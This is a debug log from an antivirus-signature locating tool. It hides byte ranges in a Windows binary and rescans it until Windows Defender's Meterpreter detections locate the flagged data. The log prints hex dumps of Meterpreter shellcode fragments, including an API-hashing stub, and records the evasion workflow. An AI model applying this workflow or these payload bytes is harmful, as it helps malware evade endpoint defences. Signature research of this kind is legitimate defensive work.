00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 10 73 84 6C 00 00 00 00  40 72 84 6C 00 00 00 00  [email protected]
00000050: 30 76 84 6C 00 00 00 00  20 6D 84 6C 00 00 00 00  0v.l.... m.l....
00000060: D0 65 84 6C 00 00 00 00  00 79 84 6C 00 00 00 00  .e.l.....y.l....
00000070: D0 62 84 6C 00 00 00 00  80 69 84 6C 00 00 00 00  .b.l.....i.l....
[DEBUG   ][2021-08-28 17:11:55,186][pe_utils.py:331] print_global_variables() :: Found 2016 bytes variable @ 0x6c863aa0:
[DEBUG   ][2021-08-28 17:11:55,187][pe_utils.py:335] print_global_variables() ::
00000000: 0C 00 00 00 00 00 00 00  F0 D2 84 6C 00 00 00 00  ...........l....
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,187][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c864280:
[DEBUG   ][2021-08-28 17:11:55,187][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 65 61 74 65  61 68 72 61 61 64 61 78  aaareateahraadax
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,187][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c8642a0:
[DEBUG   ][2021-08-28 17:11:55,187][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 61 74 65 61  69 61 74 61 61 6C 61 65  aaarateaiataalae
00000010: 6D 61 72 61 00 00 00 00  00 00 00 00 00 00 00 00  mara............
[DEBUG   ][2021-08-28 17:11:55,187][pe_utils.py:331] print_global_variables() :: Found 160 bytes variable @ 0x6c8642c0:
[DEBUG   ][2021-08-28 17:11:55,187][pe_utils.py:335] print_global_variables() ::
00000000: 00 00 00 00 01 00 00 00  03 00 00 00 07 00 00 00  ................
00000010: 0F 00 00 00 1F 00 00 00  3F 00 00 00 7F 00 00 00  ........?.......
00000020: FF 00 00 00 FF 01 00 00  FF 03 00 00 FF 07 00 00  ................
00000030: FF 0F 00 00 FF 1F 00 00  FF 3F 00 00 FF 7F 00 00  .........?......
00000040: FF FF 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 20 69 6E 66 6C 61 74 65  20 31 2E 30 2E 34 20 43   inflate 1.0.4 C
00000070: 6F 70 79 72 69 67 68 74  20 31 39 39 35 2D 31 39  opyright 1995-19
[DEBUG   ][2021-08-28 17:11:55,187][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c864360:
[DEBUG   ][2021-08-28 17:11:55,187][pe_utils.py:335] print_global_variables() ::
00000000: 00 00 00 00 00 00 00 00  C0 43 86 6C 00 00 00 00  .........C.l....
00000010: 00 00 00 00 13 00 00 00  07 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,187][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c864380:
[DEBUG   ][2021-08-28 17:11:55,188][pe_utils.py:335] print_global_variables() ::
00000000: 60 D6 86 6C 00 00 00 00  20 44 86 6C 00 00 00 00  `..l.... D.l....
00000010: 00 00 00 00 1E 00 00 00  0F 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,188][pe_utils.py:331] print_global_variables() :: Found 128 bytes variable @ 0x6c8643a0:
[DEBUG   ][2021-08-28 17:11:55,188][pe_utils.py:335] print_global_variables() ::
00000000: E0 D6 86 6C 00 00 00 00  A0 44 86 6C 00 00 00 00  ...l.....D.l....
00000010: 01 01 00 00 1E 01 00 00  0F 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 02 00 00 00 03 00 00 00  07 00 00 00 00 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,188][pe_utils.py:331] print_global_variables() :: Found 96 bytes variable @ 0x6c864420:
[DEBUG   ][2021-08-28 17:11:55,188][pe_utils.py:335] print_global_variables() ::
00000000: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000010: 01 00 00 00 01 00 00 00  02 00 00 00 02 00 00 00  ................
00000020: 03 00 00 00 03 00 00 00  04 00 00 00 04 00 00 00  ................
00000030: 05 00 00 00 05 00 00 00  06 00 00 00 06 00 00 00  ................
00000040: 07 00 00 00 07 00 00 00  08 00 00 00 08 00 00 00  ................
00000050: 09 00 00 00 09 00 00 00  0A 00 00 00 0A 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,188][pe_utils.py:331] print_global_variables() :: Found 4 bytes variable @ 0x6c864480:
[DEBUG   ][2021-08-28 17:11:55,188][pe_utils.py:335] print_global_variables() ::
00000000: 0B 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:11:55,188][pe_utils.py:331] print_global_variables() :: Found 4 bytes variable @ 0x6c864484:
[DEBUG   ][2021-08-28 17:11:55,188][pe_utils.py:335] print_global_variables() ::
00000000: 0B 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:11:55,188][pe_utils.py:331] print_global_variables() :: Found 4 bytes variable @ 0x6c864488:
[DEBUG   ][2021-08-28 17:11:55,189][pe_utils.py:335] print_global_variables() ::
00000000: 0C 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:11:55,189][pe_utils.py:331] print_global_variables() :: Found 4 bytes variable @ 0x6c86448c:
[DEBUG   ][2021-08-28 17:11:55,189][pe_utils.py:335] print_global_variables() ::
00000000: 0C 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:11:55,189][pe_utils.py:331] print_global_variables() :: Found 4 bytes variable @ 0x6c864490:
[DEBUG   ][2021-08-28 17:11:55,189][pe_utils.py:335] print_global_variables() ::
00000000: 0D 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:11:55,189][pe_utils.py:331] print_global_variables() :: Found 12 bytes variable @ 0x6c864494:
[DEBUG   ][2021-08-28 17:11:55,189][pe_utils.py:335] print_global_variables() ::
00000000: 0D 00 00 00 00 00 00 00  00 00 00 00              ............
[DEBUG   ][2021-08-28 17:11:55,189][pe_utils.py:331] print_global_variables() :: Found 192 bytes variable @ 0x6c8644a0:
[DEBUG   ][2021-08-28 17:11:55,189][pe_utils.py:335] print_global_variables() ::
00000000: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 01 00 00 00 01 00 00 00  01 00 00 00 01 00 00 00  ................
00000030: 02 00 00 00 02 00 00 00  02 00 00 00 02 00 00 00  ................
00000040: 03 00 00 00 03 00 00 00  03 00 00 00 03 00 00 00  ................
00000050: 04 00 00 00 04 00 00 00  04 00 00 00 04 00 00 00  ................
00000060: 05 00 00 00 05 00 00 00  05 00 00 00 05 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,189][pe_utils.py:331] print_global_variables() :: Found 96 bytes variable @ 0x6c864560:
[DEBUG   ][2021-08-28 17:11:55,189][pe_utils.py:335] print_global_variables() ::
00000000: 40 12 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  @..l............
00000010: FF FF FF FF FF FF FF FF  00 00 00 00 00 00 00 00  ................
00000020: 02 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 70 0E 86 6C 00 00 00 00  90 0D 86 6C 00 00 00 00  p..l.......l....
00000040: 60 0D 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  `..l............
00000050: F0 0E 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  ...l............
[DEBUG   ][2021-08-28 17:11:55,189][pe_utils.py:331] print_global_variables() :: Found 16 bytes variable @ 0x6c8645c0:
[DEBUG   ][2021-08-28 17:11:55,190][pe_utils.py:335] print_global_variables() ::
00000000: 10 0F 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  ...l............
[DEBUG   ][2021-08-28 17:11:55,190][pe_utils.py:331] print_global_variables() :: Found 16 bytes variable @ 0x6c8645d0:
[DEBUG   ][2021-08-28 17:11:55,190][pe_utils.py:335] print_global_variables() ::
00000000: 40 10 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  @..l............
[DEBUG   ][2021-08-28 17:11:55,190][pe_utils.py:331] print_global_variables() :: Found 16 bytes variable @ 0x6c8645e0:
[DEBUG   ][2021-08-28 17:11:55,190][pe_utils.py:335] print_global_variables() ::
00000000: 32 A2 DF 2D 99 2B 00 00  00 00 00 00 00 00 00 00  2..-.+..........
[DEBUG   ][2021-08-28 17:11:55,190][pe_utils.py:331] print_global_variables() :: Found 2576 bytes variable @ 0x6c8645f0:
[DEBUG   ][2021-08-28 17:11:55,190][pe_utils.py:335] print_global_variables() ::
00000000: CD 5D 20 D2 66 D4 FF FF  00 00 00 00 00 00 00 00  .] .f...........
00000010: 68 69 64 5F 74 5F 63 5F  70 5F 5F 6F 52 78 50 46  hid_t_c_p__oRxPF
00000020: 78 74 49 39 78 45 62 00  68 69 64 5F 70 5F 69 5F  xtI9xEb.hid_p_i_
00000030: 70 5F 5F 76 4E 53 37 5A  7A 32 33 57 35 75 49 00  p__vNS7Zz23W5uI.
00000040: 68 69 64 5F 68 5F 74 5F  74 5F 5F 75 46 55 34 43  hid_h_t_t__uFU4C
00000050: 69 62 42 65 58 70 49 00  5A 77 57 72 69 74 65 56  ibBeXpI.ZwWriteV
00000060: 69 72 74 75 61 6C 4D 65  6D 6F 72 79 00 63 3A 5C  irtualMemory.c:\
00000070: 77 69 6E 64 6F 77 73 5C  73 79 73 74 65 6D 33 32  windows\system32
[DEBUG   ][2021-08-28 17:12:00,454][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmped3im1ly...
[DEBUG   ][2021-08-28 17:12:00,455][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:00,455][scanner.py: 99] scan() :: EngineScanCallback(): Threat SLFPER:Win32/Meterpreter!ApiRetrieval identified.
[DEBUG   ][2021-08-28 17:12:00,455][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:00,701][pe_utils.py:157] hide_bytes() :: Hiding 4608 bytes @ 133152
[DEBUG   ][2021-08-28 17:12:06,035][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpzx74mt29...
[DEBUG   ][2021-08-28 17:12:06,036][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:06,036][scanner.py: 99] scan() :: EngineScanCallback(): Threat SLFPER:Win32/Meterpreter!ApiRetrieval identified.
[DEBUG   ][2021-08-28 17:12:06,036][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:06,215][antivirus_debugger.py:182] global_vars_analysis() :: True -  SLFPER:Win32/Meterpreter!ApiRetrieval
[DEBUG   ][2021-08-28 17:12:06,281][pe_utils.py:157] hide_bytes() :: Hiding 32 bytes @ 137760
[DEBUG   ][2021-08-28 17:12:11,666][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpa_4l0sk8...
[DEBUG   ][2021-08-28 17:12:11,667][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:11,667][scanner.py: 99] scan() :: EngineScanCallback(): Threat SLFPER:Win32/Meterpreter!ApiRetrieval identified.
[DEBUG   ][2021-08-28 17:12:11,667][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:11,862][antivirus_debugger.py:182] global_vars_analysis() :: True -  SLFPER:Win32/Meterpreter!ApiRetrieval
[DEBUG   ][2021-08-28 17:12:11,943][pe_utils.py:157] hide_bytes() :: Hiding 32 bytes @ 137792
[DEBUG   ][2021-08-28 17:12:17,213][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpi7gp9d48...
[DEBUG   ][2021-08-28 17:12:17,213][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:17,213][scanner.py: 99] scan() :: EngineScanCallback(): Threat SLFPER:Win32/Meterpreter!ApiRetrieval identified.
[DEBUG   ][2021-08-28 17:12:17,214][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:17,419][antivirus_debugger.py:182] global_vars_analysis() :: True -  SLFPER:Win32/Meterpreter!ApiRetrieval
[DEBUG   ][2021-08-28 17:12:17,493][pe_utils.py:157] hide_bytes() :: Hiding 32 bytes @ 137824
[DEBUG   ][2021-08-28 17:12:22,833][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpr71y603k...
[DEBUG   ][2021-08-28 17:12:22,833][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:22,833][scanner.py: 99] scan() :: EngineScanCallback(): Threat SLFPER:Win32/Meterpreter!ApiRetrieval identified.
[DEBUG   ][2021-08-28 17:12:22,834][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:23,007][antivirus_debugger.py:182] global_vars_analysis() :: True -  SLFPER:Win32/Meterpreter!ApiRetrieval
[DEBUG   ][2021-08-28 17:12:23,055][pe_utils.py:157] hide_bytes() :: Hiding 32 bytes @ 137856
[DEBUG   ][2021-08-28 17:12:28,942][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpvbalewhc...
[DEBUG   ][2021-08-28 17:12:28,942][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:28,943][scanner.py: 99] scan() :: EngineScanCallback(): Threat SLFPER:Win32/Meterpreter!ApiRetrieval identified.
[DEBUG   ][2021-08-28 17:12:28,943][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:29,161][antivirus_debugger.py:182] global_vars_analysis() :: True -  SLFPER:Win32/Meterpreter!ApiRetrieval
[DEBUG   ][2021-08-28 17:12:29,225][pe_utils.py:157] hide_bytes() :: Hiding 608 bytes @ 137888
[DEBUG   ][2021-08-28 17:12:34,480][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp1jktj6b4...
[DEBUG   ][2021-08-28 17:12:34,480][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:34,480][scanner.py: 99] scan() :: EngineScanCallback(): Threat ALF:HSTR:MeterpreterAPIHashingX64 identified.
[DEBUG   ][2021-08-28 17:12:34,481][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:34,672][antivirus_debugger.py:182] global_vars_analysis() :: True -  ALF:HSTR:MeterpreterAPIHashingX64
[INFO    ][2021-08-28 17:12:34,672][antivirus_debugger.py:184] global_vars_analysis() :: Windows Defender detects this global variable:
[INFO    ][2021-08-28 17:12:34,672][pe_utils.py: 70] display() ::
00000000: FC 80 79 10 00 0F 85 13  01 00 00 C6 41 10 01 48  ..y.........A..H
00000010: 83 EC 78 E8 C8 00 00 00  41 51 41 50 52 51 56 48  ..x.....AQAPRQVH
00000020: 31 D2 65 48 8B 52 60 48  8B 52 18 48 8B 52 20 48  1.eH.R`H.R.H.R H
00000030: 8B 72 50 48 0F B7 4A 4A  4D 31 C9 48 31 C0 AC 3C  .rPH..JJM1.H1..<
00000040: 61 7C 02 2C 20 41 C1 C9  0D 41 01 C1 E2 ED 52 41  a|., A...A....RA
00000050: 51 48 8B 52 20 8B 42 3C  48 01 D0 66 81 78 18 0B  QH.R .B<H..f.x..
00000060: 02 75 72 8B 80 88 00 00  00 48 85 C0 74 67 48 01  .ur......H..tgH.
00000070: D0 50 8B 48 18 44 8B 40  20 49 01 D0 E3 56 48 FF  [email protected] I...VH.
[ERROR   ][2021-08-28 17:12:34,672][antivirus_debugger.py:195] global_vars_analysis() :: Patching and starting over, since we've found something that may decrease the detection score.
[INFO    ][2021-08-28 17:12:34,672][antivirus_debugger.py:161] global_vars_analysis() :: Applying patches
[DEBUG   ][2021-08-28 17:12:34,723][pe_utils.py:157] hide_bytes() :: Hiding 608 bytes @ 137888
[INFO    ][2021-08-28 17:12:34,724][antivirus_debugger.py:167] global_vars_analysis() :: Simple check: maybe a single global variable is detected
[DEBUG   ][2021-08-28 17:12:35,919][pe_utils.py:324] detect_data() :: [Variable(addr=1820729376, size=4608, paddr=133152), Variable(addr=1820733984, size=32, paddr=137760), Variable(addr=1820734016, size=32, paddr=137792), Variable(addr=1820734048, size=32, paddr=137824), Variable(addr=1820734080, size=32, paddr=137856), Variable(addr=1820734112, size=608, paddr=137888), Variable(addr=1820734720, size=289, paddr=138496), Variable(addr=1820735009, size=111, paddr=138785), Variable(addr=1820735120, size=16, paddr=138896), Variable(addr=1820735136, size=32, paddr=138912), Variable(addr=1820735168, size=992, paddr=138944), Variable(addr=1820736160, size=2016, paddr=139936), Variable(addr=1820738176, size=32, paddr=141952), Variable(addr=1820738208, size=32, paddr=141984), Variable(addr=1820738240, size=160, paddr=142016), Variable(addr=1820738400, size=32, paddr=142176), Variable(addr=1820738432, size=32, paddr=142208), Variable(addr=1820738464, size=128, paddr=142240), Variable(addr=1820738592, size=96, paddr=142368), Variable(addr=1820738688, size=4, paddr=142464), Variable(addr=1820738692, size=4, paddr=142468), Variable(addr=1820738696, size=4, paddr=142472), Variable(addr=1820738700, size=4, paddr=142476), Variable(addr=1820738704, size=4, paddr=142480), Variable(addr=1820738708, size=12, paddr=142484), Variable(addr=1820738720, size=192, paddr=142496), Variable(addr=1820738912, size=96, paddr=142688), Variable(addr=1820739008, size=16, paddr=142784), Variable(addr=1820739024, size=16, paddr=142800), Variable(addr=1820739040, size=16, paddr=142816), Variable(addr=1820739056, size=2576, paddr=142832)]
[DEBUG   ][2021-08-28 17:12:35,919][pe_utils.py:331] print_global_variables() :: Found 4608 bytes variable @ 0x6c862020:
[DEBUG   ][2021-08-28 17:12:35,920][pe_utils.py:335] print_global_variables() ::
00000000: 09 00 00 00 00 00 00 00  D0 13 84 6C 00 00 00 00  ...........l....
00000010: 00 00 00 00 00 00 00 00  00 00 01 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  01 00 00 10 00 00 00 00  ................
00000060: E0 13 84 6C 00 00 00 00  00 00 00 00 00 00 00 00  ...l............
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,920][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c863220:
[DEBUG   ][2021-08-28 17:12:35,920][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 65 61 74 65  61 68 72 61 61 64 61 78  aaareateahraadax
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,920][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c863240:
[DEBUG   ][2021-08-28 17:12:35,920][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 61 74 65 61  69 61 74 61 61 6C 61 65  aaarateaiataalae
00000010: 6D 61 72 61 00 00 00 00  00 00 00 00 00 00 00 00  mara............
[DEBUG   ][2021-08-28 17:12:35,920][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c863260:
[DEBUG   ][2021-08-28 17:12:35,920][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 65 61 74 65  61 68 72 61 61 64 61 78  aaareateahraadax
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,921][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c863280:
[DEBUG   ][2021-08-28 17:12:35,921][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 61 74 65 61  69 61 74 61 61 6C 61 65  aaarateaiataalae
00000010: 6D 61 72 61 00 00 00 00  00 00 00 00 00 00 00 00  mara............
[DEBUG   ][2021-08-28 17:12:35,921][pe_utils.py:331] print_global_variables() :: Found 608 bytes variable @ 0x6c8632a0:
[DEBUG   ][2021-08-28 17:12:35,921][pe_utils.py:335] print_global_variables() ::
00000000: 4F 4E 73 64 4E 52 76 53  4D 71 64 73 63 68 63 6D  ONsdNRvSMqdschcm
00000010: 64 67 4C 5A 4A 4A 71 63  51 68 7A 73 6C 42 69 7A  dgLZJJqcQhzslBiz
00000020: 4B 49 7A 71 43 6F 6D 76  52 6A 77 73 64 69 68 65  KIzqComvRjwsdihe
00000030: 70 74 51 66 64 4A 68 6C  6B 6F 64 4D 4A 67 4C 4B  ptQfdJhlkodMJgLK
00000040: 62 53 65 61 47 74 43 59  6D 73 6D 78 74 77 71 6C  bSeaGtCYmsmxtwql
00000050: 69 77 52 63 4C 69 6D 4E  68 63 64 77 73 65 46 55  iwRcLimNhcdwseFU
00000060: 6C 69 65 75 4D 67 56 4E  62 6F 4B 6B 4A 57 73 70  lieuMgVNboKkJWsp
00000070: 4B 59 4F 50 76 65 56 49  5A 75 66 65 62 51 6E 52  KYOPveVIZufebQnR
[DEBUG   ][2021-08-28 17:12:35,921][pe_utils.py:331] print_global_variables() :: Found 289 bytes variable @ 0x6c863500:
[DEBUG   ][2021-08-28 17:12:35,921][pe_utils.py:335] print_global_variables() ::
00000000: FC 48 89 CE 48 89 E7 48  83 E4 F0 E8 C8 00 00 00  .H..H..H........
00000010: 41 51 41 50 52 51 56 48  31 D2 65 48 8B 52 60 48  AQAPRQVH1.eH.R`H
00000020: 8B 52 18 48 8B 52 20 48  8B 72 50 48 0F B7 4A 4A  .R.H.R H.rPH..JJ
00000030: 4D 31 C9 48 31 C0 AC 3C  61 7C 02 2C 20 41 C1 C9  M1.H1..<a|., A..
00000040: 0D 41 01 C1 E2 ED 52 41  51 48 8B 52 20 8B 42 3C  .A....RAQH.R .B<
00000050: 48 01 D0 66 81 78 18 0B  02 75 72 8B 80 88 00 00  H..f.x...ur.....
00000060: 00 48 85 C0 74 67 48 01  D0 50 8B 48 18 44 8B 40  [email protected]
00000070: 20 49 01 D0 E3 56 48 FF  C9 41 8B 34 88 48 01 D6   I...VH..A.4.H..
[DEBUG   ][2021-08-28 17:12:35,921][pe_utils.py:331] print_global_variables() :: Found 111 bytes variable @ 0x6c863621:
[DEBUG   ][2021-08-28 17:12:35,921][pe_utils.py:335] print_global_variables() ::
00000000: 83 C4 50 48 89 FC C3 00  00 00 00 00 00 00 00 00  ..PH............
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 55  ...............U
00000020: 89 E5 56 57 8B 75 08 8B  4D 0C E8 00 00 00 00 58  ..VW.u..M......X
00000030: 83 C0 2B 83 EC 08 89 E2  C7 42 04 33 00 00 00 89  ..+......B.3....
00000040: 02 E8 0F 00 00 00 66 8C  D8 66 8E D0 83 C4 14 5F  ......f..f....._
00000050: 5E 5D C2 08 00 8B 3C E4  FF 2A 48 31 C0 57 FF D6  ^]....<..*H1.W..
00000060: 5F 50 C7 44 24 04 23 00  00 00 89 3C 24 FF 2C     _P.D$.#....<$.,
[DEBUG   ][2021-08-28 17:12:35,922][pe_utils.py:331] print_global_variables() :: Found 16 bytes variable @ 0x6c863690:
[DEBUG   ][2021-08-28 17:12:35,922][pe_utils.py:335] print_global_variables() ::
00000000: 24 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  $...............
[DEBUG   ][2021-08-28 17:12:35,922][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c8636a0:
[DEBUG   ][2021-08-28 17:12:35,922][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 65 61 74 65  61 68 72 61 61 64 61 78  aaareateahraadax
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,922][pe_utils.py:331] print_global_variables() :: Found 992 bytes variable @ 0x6c8636c0:
[DEBUG   ][2021-08-28 17:12:35,922][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 61 74 65 61  69 61 74 61 61 6C 61 65  aaarateaiataalae
00000010: 6D 61 72 61 00 00 00 00  00 00 00 00 00 00 00 00  mara............
00000020: 00 37 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  .7.l............
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 10 73 84 6C 00 00 00 00  40 72 84 6C 00 00 00 00  [email protected]
00000050: 30 76 84 6C 00 00 00 00  20 6D 84 6C 00 00 00 00  0v.l.... m.l....
00000060: D0 65 84 6C 00 00 00 00  00 79 84 6C 00 00 00 00  .e.l.....y.l....
00000070: D0 62 84 6C 00 00 00 00  80 69 84 6C 00 00 00 00  .b.l.....i.l....
[DEBUG   ][2021-08-28 17:12:35,922][pe_utils.py:331] print_global_variables() :: Found 2016 bytes variable @ 0x6c863aa0:
[DEBUG   ][2021-08-28 17:12:35,922][pe_utils.py:335] print_global_variables() ::
00000000: 0C 00 00 00 00 00 00 00  F0 D2 84 6C 00 00 00 00  ...........l....
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,923][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c864280:
[DEBUG   ][2021-08-28 17:12:35,923][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 65 61 74 65  61 68 72 61 61 64 61 78  aaareateahraadax
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,923][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c8642a0:
[DEBUG   ][2021-08-28 17:12:35,923][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 61 74 65 61  69 61 74 61 61 6C 61 65  aaarateaiataalae
00000010: 6D 61 72 61 00 00 00 00  00 00 00 00 00 00 00 00  mara............
[DEBUG   ][2021-08-28 17:12:35,923][pe_utils.py:331] print_global_variables() :: Found 160 bytes variable @ 0x6c8642c0:
[DEBUG   ][2021-08-28 17:12:35,923][pe_utils.py:335] print_global_variables() ::
00000000: 00 00 00 00 01 00 00 00  03 00 00 00 07 00 00 00  ................
00000010: 0F 00 00 00 1F 00 00 00  3F 00 00 00 7F 00 00 00  ........?.......
00000020: FF 00 00 00 FF 01 00 00  FF 03 00 00 FF 07 00 00  ................
00000030: FF 0F 00 00 FF 1F 00 00  FF 3F 00 00 FF 7F 00 00  .........?......
00000040: FF FF 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 20 69 6E 66 6C 61 74 65  20 31 2E 30 2E 34 20 43   inflate 1.0.4 C
00000070: 6F 70 79 72 69 67 68 74  20 31 39 39 35 2D 31 39  opyright 1995-19
[DEBUG   ][2021-08-28 17:12:35,923][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c864360:
[DEBUG   ][2021-08-28 17:12:35,923][pe_utils.py:335] print_global_variables() ::
00000000: 00 00 00 00 00 00 00 00  C0 43 86 6C 00 00 00 00  .........C.l....
00000010: 00 00 00 00 13 00 00 00  07 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,923][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c864380:
[DEBUG   ][2021-08-28 17:12:35,924][pe_utils.py:335] print_global_variables() ::
00000000: 60 D6 86 6C 00 00 00 00  20 44 86 6C 00 00 00 00  `..l.... D.l....
00000010: 00 00 00 00 1E 00 00 00  0F 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,924][pe_utils.py:331] print_global_variables() :: Found 128 bytes variable @ 0x6c8643a0:
[DEBUG   ][2021-08-28 17:12:35,924][pe_utils.py:335] print_global_variables() ::
